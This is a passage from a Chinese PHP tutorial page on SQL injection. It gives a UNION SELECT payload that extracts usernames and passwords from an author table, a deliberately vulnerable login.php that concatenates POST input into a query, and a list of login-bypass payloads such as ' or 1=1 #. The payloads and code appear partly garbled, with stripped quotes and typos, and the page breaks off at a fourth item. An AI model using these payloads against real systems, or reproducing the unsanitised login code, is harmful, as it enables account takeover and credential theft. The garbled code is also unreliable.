程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> php注入2

php注入2

編輯:關於PHP編程

我們構建注入語句吧
在輸入框輸入
a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from
alphaauthor#放到sql語句中成了
select * from alphadb where title like %a% and 1=2 union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
結果如圖17哦
怎麼樣,出來了吧,哈哈,一切盡在掌握之中。
C:下面我們從注入地點上在來看一下各種注入攻擊方式
1)      首先來看看後台登陸哦
代碼先
//login.php
.......
$query="select * from alphaauthor where UserName= "
.$HTTP_POST_VARS["UserName"]." and
Password= ". $HTTP_POST_VARS["Password"]." ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo "後台登陸成功";
}
esle
{
echo "重新登陸";
exit;

.........
?>
Username和password沒有經過任何處理直接放到sql中執行了。
看看我們怎麼繞過呢?
最經典的還是那個:
在用戶名和密碼框裡都輸入
'or =
帶入sql語句中成了
select * from alphaauthor where UserName= or = and Password= or =
這樣帶入得到的$data肯定為真,也就是我們成功登陸了。
還有其他的繞過方法,原理是一樣的,就是想辦法讓$data返回是真就可以了。
我們可以用下面的這些中方法哦
1.
用戶名和密碼都輸入 or a = a
Sql成了
select * from alphaauthor where UserName= or a = a and Password=
or a = a
2.
用戶名和密碼都輸入 or 1=1 and ' =
Sql成了
select * from alphaauthor where UserName= or 1=1 and ' =
and Password= or 1=1 and ' =
用戶名和密碼都輸入 or 2>1 and ' =
Sql成了
select * from alphaauthor where UserName= or 2>1 and ' =
and Password= or 2>1 and ' =
3.
用戶名輸入 or 1=1 # 密碼隨便輸入
Sql成了
select * from alphaauthor where UserName= or 1=1 # and
Password= anything
後面部分被注釋掉了,當然返回還是真哦。
     4.

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved